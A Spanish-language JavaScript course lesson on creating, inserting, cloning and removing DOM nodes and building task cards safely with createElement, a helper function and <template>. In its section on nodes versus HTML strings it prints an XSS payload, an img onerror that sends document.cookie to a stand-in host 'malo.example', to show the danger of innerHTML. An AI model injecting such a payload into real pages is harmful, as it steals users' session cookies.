Hasta aquí la página de Nómada Tareas ha sido un molde: unos <li> escritos a mano en el HTML que rellenábamos con datos del modelo. Eso no escala. El backlog tiene seis tareas, en 06-07 se podrán dar de alta más, y nadie va a editar el index.html cada vez que Marta añada una. Una aplicación real construye su interfaz a partir de los datos. En esta lección aprenderás a crear nodos desde cero, a insertarlos exactamente donde quieres, a eliminarlos y a vaciar contenedores sin dejar fugas de memoria, a insertar cien elementos sin castigar al navegador con DocumentFragment, y a hacerlo todo de forma segura frente a la inyección de HTML. El resultado será vista/tarjeta.js: la función que convierte una Tarea del modelo en su <li> completo, con sus botones y su data-id.

Contenido

  1. Crear nodos: createElement y createTextNode
  2. Clonar: cloneNode(true)
  3. Insertar con los métodos modernos
  4. insertAdjacentHTML e insertAdjacentElement
  5. Los métodos antiguos, y por qué siguen apareciendo
  6. Eliminar y vaciar contenedores
  7. DocumentFragment: muchos nodos, una sola inserción
  8. Construir con nodos frente a inyectar HTML
  9. Una función auxiliar: crearElemento(etiqueta, props, hijos)
  10. <template> y content
  11. Nómada Tareas: vista/tarjeta.js
  12. Errores Comunes y Consejos
  13. Ejercicios
  14. Conclusión

  1. Crear nodos: createElement y createTextNode

document.createElement(etiqueta) fabrica un elemento nuevo. Importante: nace fuera del árbol, en el limbo. No se ve en ninguna parte hasta que lo insertas.

const li = document.createElement('li');
console.log(li);                 // <li></li>
console.log(li.parentElement);   // null   ← todavía no está en el documento
console.log(document.contains(li)); // false

Mientras está fuera del árbol puedes configurarlo con todo lo que aprendiste en 06-02, y es la forma más eficiente de trabajar: construir primero, insertar al final, porque los cambios sobre un elemento desconectado no obligan al navegador a recalcular nada.

const li = document.createElement('li');
li.className = 'tarea tarea--alta';        // aquí sí vale className: el elemento es nuevo
li.dataset.id = '6';
li.dataset.estado = 'pendiente';
li.setAttribute('aria-label', 'Presupuesto de la carpintería, prioridad alta');

document.querySelector('#lista-tareas').append(li);   // ahora sí aparece en pantalla

document.createTextNode(texto) crea un nodo de texto (el tipo 3 de 06-01). Casi nunca lo necesitarás explícitamente, porque textContent y append lo hacen por ti, pero conviene saber que existe y que es inmune a la interpretación de HTML:

const texto = document.createTextNode('Rediseño <urgente> & revisión');
li.append(texto);
// En pantalla se lee literalmente: Rediseño <urgente> & revisión

De hecho, append acepta cadenas directamente y las convierte en nodos de texto, con la misma seguridad:

li.append('Rediseño <urgente> & revisión');   // idéntico al ejemplo anterior

Existen dos métodos hermanos que verás de vez en cuando: document.createComment(texto) para comentarios y document.createDocumentFragment() para el contenedor ligero del apartado 7.

  1. Clonar: cloneNode(true)

nodo.cloneNode(profundo) hace una copia. El argumento decide si copia solo el nodo o también todo su contenido:

const plantilla = document.querySelector('#lista-tareas li');

const superficial = plantilla.cloneNode(false);   // solo el <li>, vacío por dentro
const profundo    = plantilla.cloneNode(true);    // el <li> con todos sus descendientes

console.log(superficial.children.length);   // 0
console.log(profundo.children.length);      // 3  ← span, span, button

Tres advertencias importantes sobre el clonado:

  • Copia los atributos, incluidos los id. Si el original tenía id="resumen", el clon también, y tendrás dos elementos con el mismo id en el documento: querySelector('#resumen') devolverá solo el primero y nunca sabrás cuál. Cambia o borra el id del clon.
  • NO copia los manejadores registrados con addEventListener. Esto es una ventaja disfrazada: el clon nace limpio, y con delegación (06-04) ni lo notas, porque el manejador está en el contenedor.
  • Sí copia los atributos on… en línea, otro motivo más para no usarlos nunca.
const clon = plantilla.cloneNode(true);
clon.removeAttribute('id');          // higiene obligatoria si el original tenía id
clon.dataset.id = '7';               // y actualiza lo que identifique al nuevo

  1. Insertar con los métodos modernos

La familia moderna de inserción es cómoda, uniforme y admite varios argumentos y cadenas de texto. Todos ellos aceptan cualquier número de nodos y/o strings.

Método Dónde inserta Se llama sobre
padre.append(...) Al final de los hijos El contenedor
padre.prepend(...) Al principio de los hijos El contenedor
elem.before(...) Justo antes del elemento, como hermano El hermano de referencia
elem.after(...) Justo después del elemento, como hermano El hermano de referencia
elem.replaceWith(...) Sustituye el elemento El elemento a sustituir
padre.replaceChildren(...) Sustituye todos los hijos (sin argumentos, vacía) El contenedor
const lista = document.querySelector('#lista-tareas');
const nueva = document.createElement('li');
nueva.textContent = 'Revisar la guillotina de encuadernación';

lista.append(nueva);                    // al final
lista.prepend(nueva);                   // ← la MUEVE al principio (ver nota abajo)

const primera = lista.firstElementChild;
primera.after(nueva);                   // como segundo elemento
primera.before('Aviso: ', nueva);       // varios argumentos: texto y nodo

nueva.replaceWith(document.createElement('li'));   // sustituida
lista.replaceChildren();                // lista vacía

Un nodo solo puede estar en un sitio. Si insertas un elemento que ya está en el árbol, no se duplica: se mueve. Es un comportamiento muy útil para reordenar listas, y una fuente de desconcierto si no lo esperas:

const li = lista.firstElementChild;
lista.append(li);          // no hay dos: el primero se ha convertido en el último

Para tener dos copias hay que clonar explícitamente: lista.append(li.cloneNode(true)).

  1. insertAdjacentHTML e insertAdjacentElement

Estos dos métodos permiten insertar en una de cuatro posiciones relativas al elemento, expresadas con una cadena:

<!-- beforebegin -->
<li class="tarea">
  <!-- afterbegin -->
  contenido
  <!-- beforeend -->
</li>
<!-- afterend -->
Posición Dónde queda
'beforebegin' Antes del elemento, como hermano anterior
'afterbegin' Dentro, como primer hijo
'beforeend' Dentro, como último hijo
'afterend' Después del elemento, como hermano siguiente
const li = document.querySelector('[data-id="6"]');

li.insertAdjacentElement('beforeend', document.createElement('button'));
li.insertAdjacentHTML('afterbegin', '<span class="tarea__marca">⚠</span>');

insertAdjacentHTML tiene una ventaja real frente a innerHTML +=: no destruye ni recrea los nodos existentes, solo añade. Pero comparte su gran defecto: interpreta HTML, así que arrastra el mismo riesgo de XSS de 06-02.

// ✗ Nunca con datos que no controlas
li.insertAdjacentHTML('beforeend', `<span>${tarea.titulo}</span>`);
// Si el título es '<img src=x onerror=…>', acabas de ejecutar código ajeno.

// ✓ Con marcado literal que has escrito tú, sin interpolar datos, es aceptable
li.insertAdjacentHTML('beforeend', '<span class="tarea__marca" aria-hidden="true">⚠</span>');

La regla es la misma de siempre: HTML como cadena solo cuando es constante. En cuanto hay una interpolación de datos, o escapas (06-06) o construyes con nodos.

  1. Los métodos antiguos, y por qué siguen apareciendo

Antes de la familia moderna existían tres métodos que verás en cualquier código con unos años. Merece la pena conocerlos para leerlos, aunque no los escribas.

Antiguo Moderno equivalente Diferencias
padre.appendChild(nodo) padre.append(nodo) El antiguo admite un solo nodo, no acepta strings, y devuelve el nodo insertado
padre.insertBefore(nuevo, ref) ref.before(nuevo) El antiguo se llama sobre el padre y necesita la referencia; con ref = null inserta al final
padre.removeChild(hijo) hijo.remove() El antiguo necesita conocer al padre; el moderno no
padre.replaceChild(nuevo, viejo) viejo.replaceWith(nuevo) Igual: el antiguo exige el padre
// Antiguo
const li = document.createElement('li');
lista.appendChild(li);
lista.insertBefore(li, lista.firstChild);
lista.removeChild(li);

// Moderno
lista.append(li);
lista.prepend(li);
li.remove();

Los modernos ganan en todo salvo en un detalle: appendChild devuelve el nodo, lo que permite encadenar (const p = div.appendChild(document.createElement('p'))), mientras que append devuelve undefined. Es un inconveniente menor y se resuelve con una variable.

  1. Eliminar y vaciar contenedores

Eliminar un elemento es trivial:

document.querySelector('[data-id="4"]')?.remove();

Vaciar un contenedor tiene tres formas, y no son equivalentes:

// Opción A · la moderna y recomendada
lista.replaceChildren();

// Opción B · la clásica con cadena vacía
lista.innerHTML = '';

// Opción C · a mano, nodo a nodo
while (lista.firstChild) lista.firstChild.remove();
Forma Legibilidad Analiza HTML Notas
replaceChildren() Alta No La preferible; también sirve para reemplazar en una operación
innerHTML = '' Alta Sí (una cadena vacía, pero pasa por el analizador) Funciona, pero invita a innerHTML = '<li>…' con datos
Bucle while Baja No Solo por compatibilidad con navegadores muy antiguos

replaceChildren es especialmente elegante porque también acepta el contenido nuevo, con lo que vaciar y rellenar es una sola operación:

lista.replaceChildren(...tareas.map(crearTarjeta));   // vacía y rellena de golpe

El matiz de los manejadores y las fugas de memoria. Cuando eliminas un elemento del DOM, sus manejadores desaparecen con él… siempre que nadie más guarde una referencia al elemento. Si lo guardaste en un array, en un Map o en el closure de otra función, el elemento sigue vivo en memoria aunque no esté en la página, junto con todo su subárbol y sus manejadores. Eso es una fuga de memoria.

// ✗ Fuga: el array retiene los elementos aunque se hayan quitado de la página
const cacheDeTarjetas = [];
for (const tarea of tablero.tareas) {
  const li = crearTarjeta(tarea);
  cacheDeTarjetas.push(li);        // referencia fuerte que sobrevive al remove()
  lista.append(li);
}
lista.replaceChildren();           // la página se vacía, la memoria no

// ✓ Si necesitas una caché, límpiala también
cacheDeTarjetas.length = 0;

Este es exactamente uno de los patrones que se analizan en Gestión de Memoria. Y es otro argumento a favor de la delegación de 06-04: si el único manejador está en el <ul>, que nunca se elimina, no hay nada que limpiar al borrar tarjetas.

Un último apunte: si eliminas el elemento que tenía el foco, el foco se pierde y vuelve a document.body. Quien navega con teclado se queda sin posición. La solución es mover el foco a un sitio razonable antes de eliminar:

const li = boton.closest('li[data-id]');
const siguiente = li.nextElementSibling ?? li.previousElementSibling;
li.remove();
(siguiente?.querySelector('button') ?? lista).focus();

  1. DocumentFragment: muchos nodos, una sola inserción

Insertar seis elementos de uno en uno significa tocar el árbol seis veces:

// Seis inserciones en el documento vivo
for (const tarea of tablero.tareas) {
  lista.append(crearTarjeta(tarea));
}

Un DocumentFragment es un contenedor ligero fuera del árbol (el nodeType 11 de 06-01). Puedes llenarlo sin que el navegador tenga que recalcular nada, y al insertarlo ocurre algo especial: el fragmento se disuelve y solo entran sus hijos.

const fragmento = document.createDocumentFragment();

for (const tarea of tablero.tareas) {
  fragmento.append(crearTarjeta(tarea));   // fuera del árbol: sin coste de repintado
}

lista.append(fragmento);    // UNA sola operación sobre el documento
console.log(fragmento.childNodes.length);  // 0  ← se ha vaciado al insertarse
console.log(lista.children.length);        // 6

Es el equivalente a llevar la compra en una bolsa en lugar de a puñados: menos viajes.

Conviene ser honesto sobre la magnitud del beneficio. Los navegadores modernos agrupan el trabajo de diseño y no repintan tras cada append, así que con seis tareas la diferencia es inapreciable. Con miles de filas, o cuando entre inserción e inserción lees geometría (el layout thrashing de 06-02), sí se nota. La medición seria es el tema de Manipulación Eficiente del DOM.

Dicho esto, hay una razón para usarlo que no depende del rendimiento: replaceChildren con spread hace lo mismo de forma más legible, y esa es la forma que adoptaremos:

lista.replaceChildren(...tablero.tareas.map(crearTarjeta));

Una llamada, contenido nuevo completo, sin fragmento explícito y sin innerHTML.

  1. Construir con nodos frente a inyectar HTML

Este es el punto de criterio de la lección. Hay dos maneras de producir la tarjeta de una tarea:

// Opción 1 · cadena de HTML
lista.innerHTML += `
  <li class="tarea tarea--${tarea.prioridad}" data-id="${tarea.id}">
    <span class="tarea__titulo">${tarea.titulo}</span>
    <button data-accion="avanzar">Empezar</button>
  </li>`;

// Opción 2 · nodos
const li = document.createElement('li');
li.className = `tarea tarea--${tarea.prioridad}`;
li.dataset.id = tarea.id;
const titulo = document.createElement('span');
titulo.className = 'tarea__titulo';
titulo.textContent = tarea.titulo;              // ← seguro por construcción
li.append(titulo);
Aspecto Cadena de HTML Construcción con nodos
Legibilidad de la estructura Alta: se ve la forma de un vistazo Media: hay que leer varias líneas
Seguridad con datos externos Peligrosa: XSS si no escapas Segura: textContent no interpreta nada
Conservación de nodos existentes innerHTML += los destruye y recrea Los respeta
Manejadores y foco Se pierden al reasignar Se conservan
Referencias a los nodos creados Hay que volver a buscarlos Ya las tienes
Coste Analizar HTML Llamadas a métodos

El problema de seguridad es concreto y no teórico. Si Iván da de alta una tarea titulada <img src=x onerror="fetch('https://malo.example/roba?c='+document.cookie)">, la opción 1 ejecuta ese código en el contexto de tu página. La opción 2 muestra el texto literal y no ejecuta nada.

Además, innerHTML += tiene un defecto adicional muy poco intuitivo: no añade, reconstruye. Lee todo el HTML interior, le concatena tu cadena y vuelve a analizarlo entero. Todos los nodos anteriores se destruyen y se recrean: se pierde el foco, se pierde el texto seleccionado y se pierde el estado de cualquier <input> que hubiera dentro.

Decisión para el resto del curso: construimos con nodos. En 06-06 verás la alternativa intermedia —plantillas con template literals más una función escaparHtml obligatoria— y en el apartado 10 de esta lección, la mejor de todas para estructuras fijas: <template>.

  1. Una función auxiliar: crearElemento(etiqueta, props, hijos)

Construir con nodos es seguro pero verboso. Una función auxiliar de quince líneas recupera la legibilidad sin perder la seguridad. Esta será una pieza estable del proyecto:

// js/vista/dom.js

/**
 * Crea un elemento configurado en una sola expresión.
 * @param {string} etiqueta  'li', 'button', 'span'…
 * @param {object} props     clases, dataset, atributos y propiedades
 * @param {Array}  hijos     nodos o cadenas (las cadenas se insertan como TEXTO)
 * @returns {HTMLElement}
 */
export function crearElemento(etiqueta, props = {}, hijos = []) {
  const elemento = document.createElement(etiqueta);

  for (const [clave, valor] of Object.entries(props)) {
    if (valor === null || valor === undefined || valor === false) continue;

    if (clave === 'clases') {
      elemento.classList.add(...[].concat(valor).filter(Boolean));
    } else if (clave === 'dataset') {
      Object.assign(elemento.dataset, valor);
    } else if (clave === 'texto') {
      elemento.textContent = valor;                 // ✓ nunca innerHTML
    } else if (clave in elemento) {
      elemento[clave] = valor;                      // propiedades: disabled, value, type…
    } else {
      elemento.setAttribute(clave, valor);          // atributos: aria-*, role…
    }
  }

  elemento.append(...[].concat(hijos).filter(Boolean));
  return elemento;
}

/** Atajos de selección, para no repetir document.querySelector por todas partes. */
export const $  = (sel, raiz = document) => raiz.querySelector(sel);
export const $$ = (sel, raiz = document) => [...raiz.querySelectorAll(sel)];

Merece la pena entender tres decisiones del código:

  • clave in elemento distingue propiedades de atributos. disabled, value, type, id y hidden existen como propiedades del objeto DOM, y asignarlas directamente es lo correcto (06-02). Los aria-* y role no existen como propiedades, así que caen en setAttribute. La comprobación resuelve la elección automáticamente.
  • texto usa textContent. No hay ninguna opción en la API que interprete HTML: es imposible provocar un XSS a través de esta función, y esa imposibilidad es justamente el objetivo.
  • [].concat(valor) acepta indistintamente un valor suelto o un array, y el filter(Boolean) descarta los null y false, lo que permite escribir hijos condicionales sin if.

Con ella, la tarjeta se lee casi como el HTML que produce:

const li = crearElemento('li', {
  clases: ['tarea', `tarea--${tarea.prioridad}`],
  dataset: { id: tarea.id, estado: tarea.estado }
}, [
  crearElemento('span', { clases: 'tarea__titulo', texto: tarea.titulo }),
  crearElemento('button', { type: 'button', texto: 'Empezar', dataset: { accion: 'avanzar' } })
]);

  1. <template> y content

Hay una tercera vía que combina lo mejor de las dos: declarar la estructura en el HTML, donde se lee de un vistazo, y rellenar solo los datos desde JavaScript, con textContent.

El elemento <template> contiene marcado que el navegador analiza pero no muestra ni activa: sus imágenes no se descargan, sus scripts no se ejecutan y no aparece en la página.

<template id="plantilla-tarea">
  <li class="tarea">
    <span class="tarea__titulo"></span>
    <span class="tarea__meta"></span>
    <span class="tarea__etiquetas"></span>
    <button type="button" class="tarea__accion" data-accion="avanzar"></button>
    <button type="button" class="tarea__accion" data-accion="reabrir">Reabrir</button>
  </li>
</template>

Su contenido vive en la propiedad content, que es un DocumentFragment. Para usarlo hay que clonarlo, porque el original debe permanecer intacto para el siguiente uso:

const plantilla = document.querySelector('#plantilla-tarea');

const fragmento = plantilla.content.cloneNode(true);   // ✓ copia profunda
const li = fragmento.querySelector('li');              // ahora ya puedes configurarlo

li.dataset.id = tarea.id;
li.querySelector('.tarea__titulo').textContent = tarea.titulo;
lista.append(li);

Errores típicos con <template>:

// ✗ Olvidar .content: el <template> en sí no contiene el <li> como hijo normal
plantilla.querySelector('li');            // null

// ✗ Olvidar clonar: mueves el contenido fuera de la plantilla y la vacías
lista.append(plantilla.content);          // la plantilla queda inservible para la próxima

// ✓ Correcto
lista.append(plantilla.content.cloneNode(true));
Enfoque Estructura visible Seguridad Cuándo usarlo
createElement + crearElemento En el JavaScript Segura Estructuras dinámicas o condicionales
<template> + cloneNode En el HTML Segura (rellenas con textContent) Estructuras fijas que se repiten
Template literal + innerHTML En el JavaScript Peligrosa sin escapar Solo con marcado constante

Para una lista de tarjetas idénticas, <template> suele ser la mejor opción: la estructura la puede tocar quien maqueta sin abrir el JavaScript, y el código queda en tres líneas de asignación.

  1. Nómada Tareas: vista/tarjeta.js

Juntemos todo. Este módulo convierte una Tarea del modelo en su <li> completo. Usa crearElemento para tener control total y no depender de que el HTML contenga la plantilla; al final verás la variante con <template>.

// js/vista/tarjeta.js
import { crearElemento } from './dom.js';
import { HOY } from '../util/fechas.js';
import { marcaDeEstado } from '../util/formato.js';

const CLASE_PRIORIDAD = Object.freeze({
  alta: 'tarea--alta', media: 'tarea--media', baja: 'tarea--baja'
});
const SIGUIENTE = Object.freeze({ pendiente: 'en-curso', 'en-curso': 'hecha', hecha: null });
const ETIQUETA  = Object.freeze({
  pendiente: 'Empezar', 'en-curso': 'Marcar hecha', hecha: 'Completada'
});

/**
 * Convierte una Tarea del modelo en su elemento <li>.
 * No registra ningún manejador: los clics se atienden por delegación (06-04).
 */
export function crearTarjeta(tarea, hoy = HOY) {
  const vencida = tarea.estaVencida(hoy);

  const titulo = crearElemento('span', {
    clases: 'tarea__titulo',
    texto: tarea.titulo                       // ← textContent: seguro con cualquier título
  });

  const meta = crearElemento('span', {
    clases: 'tarea__meta',
    texto: `${marcaDeEstado(tarea.estado)} ${tarea.responsable ?? 'sin asignar'} · ` +
           `${tarea.horasEstimadas} h · ${tarea.estado}` +
           (vencida ? ` · vencida hace ${Math.abs(tarea.diasRestantes)} días` : '')
  });

  const etiquetas = crearElemento('ul', { clases: 'tarea__etiquetas' },
    tarea.etiquetas.map((e) => crearElemento('li', { clases: 'etiqueta', texto: e }))
  );

  const avanzar = crearElemento('button', {
    type: 'button',
    clases: 'tarea__accion',
    dataset: { accion: 'avanzar' },
    disabled: SIGUIENTE[tarea.estado] === null,
    'aria-label': `${ETIQUETA[tarea.estado]}: ${tarea.titulo}`,
    texto: ETIQUETA[tarea.estado]
  });

  const reabrir = crearElemento('button', {
    type: 'button',
    clases: 'tarea__accion',
    dataset: { accion: 'reabrir' },
    disabled: tarea.estado !== 'en-curso',
    'aria-label': `Devolver a pendiente: ${tarea.titulo}`,
    texto: 'Reabrir'
  });

  return crearElemento('li', {
    clases: ['tarea', CLASE_PRIORIDAD[tarea.prioridad], vencida && 'tarea--vencida',
             tarea.estado === 'hecha' && 'tarea--hecha'],
    dataset: { id: tarea.id, estado: tarea.estado, responsable: tarea.responsable ?? '' },
    tabindex: '-1'                            // enfocable por código, no con Tab
  }, [titulo, meta, etiquetas, avanzar, reabrir]);
}

Fíjate en tres detalles:

  • vencida && 'tarea--vencida' produce false cuando no aplica, y el filter(Boolean) de crearElemento lo descarta. Es la forma idiomática de una clase condicional sin escribir un if.
  • tabindex="-1" hace el <li> enfocable por programa (li.focus()) pero no lo mete en el orden del tabulador. Sirve para devolver el foco a una tarjeta tras redibujarla, en 06-06.
  • La tarjeta no registra ni un solo manejador. Puede crearse, clonarse, destruirse y recrearse libremente, porque el único manejador vive en el <ul>. Ese es el dividendo de la delegación de 06-04.

Y así se usa, con replaceChildren para pintar la lista entera:

// js/app.js
import { Tablero } from './modelo/tablero.js';
import { crearBacklog } from './datos/backlog.js';
import { HOY } from './util/fechas.js';
import { crearTarjeta } from './vista/tarjeta.js';
import { conectarTablero } from './vista/controlador.js';
import { $ } from './vista/dom.js';

const tablero = new Tablero('Taller Nómada', crearBacklog());
const lista = $('#lista-tareas');

// Las SEIS tareas, creadas desde el modelo. El HTML ya no lleva ningún <li>.
lista.replaceChildren(...tablero.tareas.map((t) => crearTarjeta(t, HOY)));

conectarTablero({ lista, resumen: $('#resumen'), tablero, hoy: HOY });

El index.html se simplifica: el <ul id="lista-tareas"> queda vacío, porque su contenido lo genera el modelo.

<ul id="lista-tareas" class="lista-tareas" aria-live="polite"></ul>

Ese aria-live="polite" hace que un lector de pantalla anuncie los cambios de la lista sin interrumpir. Con las seis tarjetas en pantalla, el resumen sigue dando los números canónicos: 6 tareas, 5 abiertas, 45 h pendientes, 1 vencida, esfuerzo 124.

La variante con <template>, por si prefieres tener la estructura en el HTML:

// js/vista/tarjeta.js — versión con plantilla
import { $ } from './dom.js';

export function crearTarjetaDesdePlantilla(tarea, hoy = HOY) {
  const li = $('#plantilla-tarea').content.firstElementChild.cloneNode(true);

  li.dataset.id = tarea.id;
  li.dataset.estado = tarea.estado;
  li.classList.add(CLASE_PRIORIDAD[tarea.prioridad]);
  li.classList.toggle('tarea--vencida', tarea.estaVencida(hoy));
  li.classList.toggle('tarea--hecha', tarea.estado === 'hecha');

  $('.tarea__titulo', li).textContent = tarea.titulo;
  $('.tarea__meta', li).textContent = `${tarea.responsable ?? 'sin asignar'} · ${tarea.horasEstimadas} h`;

  const avanzar = $('[data-accion="avanzar"]', li);
  avanzar.textContent = ETIQUETA[tarea.estado];
  avanzar.disabled = SIGUIENTE[tarea.estado] === null;

  return li;
}

Las dos son correctas. La primera da más control y no depende del HTML; la segunda separa mejor maquetación y lógica. Elige una y sé coherente.

Errores Comunes y Consejos

  • Crear un elemento y olvidar insertarlo. createElement no lo añade a la página. Si «no se ve nada», comprueba que hay un append en alguna parte.
  • Esperar que insertar duplique. Un nodo solo puede estar en un lugar: insertar uno que ya estaba en el árbol lo mueve. Para duplicar, cloneNode(true).
  • Clonar un elemento con id y no cambiarlo. Acabas con ids duplicados y querySelector devuelve siempre el primero. Borra o renombra el id del clon.
  • Olvidar .content o el clonado con <template>. plantilla.querySelector('li') da null; append(plantilla.content) vacía la plantilla para siempre. La forma correcta es plantilla.content.cloneNode(true).
  • Usar innerHTML += para añadir. No añade: reconstruye todo el interior, con lo que se pierden foco, selección, estado de campos y manejadores directos. Usa append o insertAdjacentHTML.
  • Interpolar datos en cadenas de HTML. Es la puerta al XSS. Con datos, siempre textContent o nodos; con marcado constante, insertAdjacentHTML es aceptable.
  • Guardar nodos eliminados en arrays o Map. Impide que el navegador libere la memoria. Si tienes una caché de nodos, límpiala cuando vacíes el contenedor.
  • Eliminar el elemento que tenía el foco sin recolocarlo. Quien usa teclado se queda en body. Mueve el foco al hermano siguiente o al contenedor antes de eliminar.
  • Consejo: construye fuera del árbol y conecta al final. Todo lo que hagas sobre un elemento desconectado es gratis para el navegador. Es el mismo principio de DocumentFragment y de replaceChildren(...).
  • Consejo: una función crearElemento bien hecha se amortiza en la primera pantalla. Da la legibilidad de la plantilla con la seguridad de los nodos, y hace imposible por construcción que un dato acabe interpretándose como HTML.

Ejercicios

Ejercicio 1 · Un separador por prioridad

Escribe insertarSeparadores(lista) que recorra los <li> ya pintados y, cada vez que cambie la prioridad respecto al anterior, inserte antes de ese <li> un elemento <li class="separador" role="presentation"> con el texto Prioridad alta, Prioridad media o Prioridad baja. Debe funcionar sin duplicar separadores si se llama dos veces. Usa before() y crearElemento.

Ejercicio 2 · Vaciar y medir

Escribe dos funciones, pintarConBucle(lista, tareas) y pintarDeGolpe(lista, tareas). La primera vacía y hace un append por tarea; la segunda usa replaceChildren(...) con el spread. Comprueba con console.time/console.timeEnd cuánto tardan con las 6 tareas y con 5 000 generadas repitiendo el backlog. Comenta los resultados con honestidad.

Ejercicio 3 · Tarjeta con plantilla y foco conservado

Añade al HTML un <template id="plantilla-tarea"> y escribe reemplazarTarjeta(li, tarea) que sustituya un <li> existente por una tarjeta recién creada con replaceWith(), conservando el foco: si el elemento activo estaba dentro del <li> que se sustituye, el foco debe acabar en el botón equivalente de la tarjeta nueva. Explica cómo detectas cuál era el botón equivalente.

Soluciones

Ejercicio 1

import { crearElemento, $$ } from './vista/dom.js';

const NOMBRE = { alta: 'Prioridad alta', media: 'Prioridad media', baja: 'Prioridad baja' };

export function insertarSeparadores(lista) {
  // Idempotencia: quitamos los separadores anteriores antes de nada
  $$('.separador', lista).forEach((s) => s.remove());

  let anterior = null;
  for (const li of $$('li[data-id]', lista)) {
    const prioridad = [...li.classList]
      .find((c) => c.startsWith('tarea--') && c.slice(7) in NOMBRE)?.slice(7);

    if (prioridad !== anterior) {
      li.before(crearElemento('li', {
        clases: 'separador',
        role: 'presentation',
        texto: NOMBRE[prioridad]
      }));
      anterior = prioridad;
    }
  }
}

Dos claves. La idempotencia se consigue limpiando primero: sin ese remove() inicial, cada llamada añadiría otra tanda de separadores. Y el selector li[data-id] es esencial en el bucle: si recorriéramos todos los <li>, los separadores recién insertados entrarían también en la iteración. El role="presentation" indica al lector de pantalla que ese <li> no es un elemento real de la lista, sino un encabezado visual.

Ejercicio 2

function pintarConBucle(lista, tareas) {
  lista.replaceChildren();
  for (const t of tareas) lista.append(crearTarjeta(t));
}

function pintarDeGolpe(lista, tareas) {
  lista.replaceChildren(...tareas.map((t) => crearTarjeta(t)));
}

const muchas = Array.from({ length: 5000 }, (_, i) => {
  const base = tablero.tareas[i % 6];
  return Object.assign(Object.create(Object.getPrototypeOf(base)), base, { id: i + 1 });
});

console.time('bucle');   pintarConBucle(lista, muchas);  console.timeEnd('bucle');
console.time('de golpe'); pintarDeGolpe(lista, muchas);  console.timeEnd('de golpe');

Resultados típicos en un portátil corriente: con 6 tareas ambas rondan 1 ms y la diferencia es puro ruido de medición. Con 5 000, la versión de golpe suele quedar entre un 10 % y un 30 % por delante, pero el grueso del tiempo se lo lleva crear las 5 000 tarjetas, no insertarlas.

La conclusión honesta es que la insistencia clásica en DocumentFragment está algo sobrevalorada para el caso normal: los navegadores modernos no repintan tras cada append. replaceChildren(...) se prefiere por claridad, no por velocidad. Y la lección de fondo es la de 09-01: mide antes de optimizar, porque la intuición sobre rendimiento se equivoca casi siempre.

Ejercicio 3

export function reemplazarTarjeta(li, tarea, hoy = HOY) {
  // 1 · ¿El foco estaba dentro? Guardamos QUÉ botón era, no la referencia
  const activo = document.activeElement;
  const teniaFoco = li.contains(activo);
  const accionEnfocada = teniaFoco ? activo.dataset.accion ?? null : null;

  // 2 · Construimos la tarjeta nueva y sustituimos
  const nueva = crearTarjeta(tarea, hoy);
  li.replaceWith(nueva);

  // 3 · Restauramos el foco en el botón equivalente
  if (teniaFoco) {
    const destino = accionEnfocada !== null
      ? nueva.querySelector(`[data-accion="${accionEnfocada}"]`)
      : null;
    (destino !== null && !destino.disabled ? destino : nueva).focus();
  }
  return nueva;
}

El botón equivalente se identifica por su data-accion, no por su posición ni por una referencia al nodo antiguo (que acaba de dejar de existir). Es el mismo principio que el data-id de las tarjetas: una clave estable que sobrevive a la recreación del DOM. Y el tabindex="-1" del <li> es lo que permite la alternativa nueva.focus() cuando el botón equivalente ha quedado desactivado —por ejemplo, tras marcar la tarea como hecha—: sin él, el foco caería en document.body y quien navega con teclado perdería su posición en la lista.

Este problema —redibujar y perder el foco— es precisamente el que da pie a la lección siguiente.

Conclusión

Ya no dependes del HTML escrito a mano: sabes fabricar la interfaz. Creas nodos con createElement (que nacen fuera del árbol, y por eso configurarlos es gratis) y con createTextNode, y los copias con cloneNode(true), recordando que el clon arrastra el id pero no los manejadores de addEventListener. Los insertas con la familia moderna —append, prepend, before, after, replaceWith, replaceChildren—, que admite varios argumentos y cadenas de texto, sabiendo que insertar un nodo que ya estaba en el árbol lo mueve en lugar de duplicarlo. Conoces insertAdjacentHTML/insertAdjacentElement con sus cuatro posiciones (beforebegin, afterbegin, beforeend, afterend) y el aviso de que el primero interpreta HTML. Y reconoces los métodos antiguos appendChild, insertBefore, removeChild y replaceChild para leer código heredado, aunque escribas los modernos.

Sabes eliminar con remove() y vaciar con replaceChildren(), que es preferible a innerHTML = '' porque no pasa por el analizador de HTML y porque la misma llamada permite vaciar y rellenar a la vez. Tienes claro el matiz que importa: los manejadores desaparecen con el elemento salvo que alguien retenga una referencia en un array, un Map o un closure, y ese es el origen de una fuga de memoria clásica; y que eliminar el elemento enfocado deja a quien navega con teclado sin posición. Conoces DocumentFragment para agrupar inserciones, junto con la valoración honesta de su impacto real, y sabes que replaceChildren(...nodos) consigue lo mismo con más claridad.

Sobre todo, tienes el criterio de construcción: nodos frente a cadenas. Interpolar datos en HTML es la puerta directa al XSS, e innerHTML += ni siquiera añade —reconstruye el interior entero y se lleva por delante el foco, la selección y el estado—. La respuesta es crearElemento(etiqueta, props, hijos) en vista/dom.js, que distingue propiedades de atributos con clave in elemento, acepta clases condicionales y usa textContent siempre; o bien <template> con content.cloneNode(true) cuando la estructura es fija y prefieres tenerla en el HTML. Con esas piezas has escrito vista/tarjeta.js: crearTarjeta(tarea) devuelve el <li> completo de una tarea, con su prioridad, su marca de vencida, sus etiquetas, sus dos botones con data-accion y su data-id, sin registrar ni un solo manejador, porque de eso ya se ocupa la delegación. El <ul> del HTML ha quedado vacío y las seis tareas del backlog se pintan desde el modelo.

Falta el paso que convierte todo esto en una aplicación de verdad: redibujar cuando los datos cambian. Ahora mismo pintas una vez al arrancar y luego parcheas cada <li> a mano. Lo natural es tener una función render(estado) que dibuje el tablero entero a partir del Tablero, y repetirla tras cada cambio. Pero eso trae su propio problema, que ya has rozado en el último ejercicio: redibujar todo destruye los nodos, y con ellos se van el foco, el desplazamiento y lo que hubiera escrito el usuario. Cómo se organiza el ciclo estado → render → evento → nuevo estado → render, cómo se agrupan las tareas por columnas, cómo se escapan los datos si decides usar plantillas de texto, y cómo se actualiza solo lo que ha cambiado reutilizando nodos por su data-id, es Renderizado de Listas y Plantillas HTML.

Curso de JavaScript: De Principiante a Avanzado

Módulo 1: Introducción a JavaScript

Módulo 2: Estructuras de Control

Módulo 3: Funciones

Módulo 4: Objetos y Arrays

Módulo 5: Objetos y Funciones Avanzadas

Módulo 6: El Modelo de Objetos del Documento (DOM)

Módulo 7: APIs del Navegador y Temas Avanzados

Módulo 8: Pruebas y Depuración

Módulo 9: Rendimiento y Optimización

Módulo 10: Frameworks y Librerías de JavaScript

Módulo 11: Proyecto Final

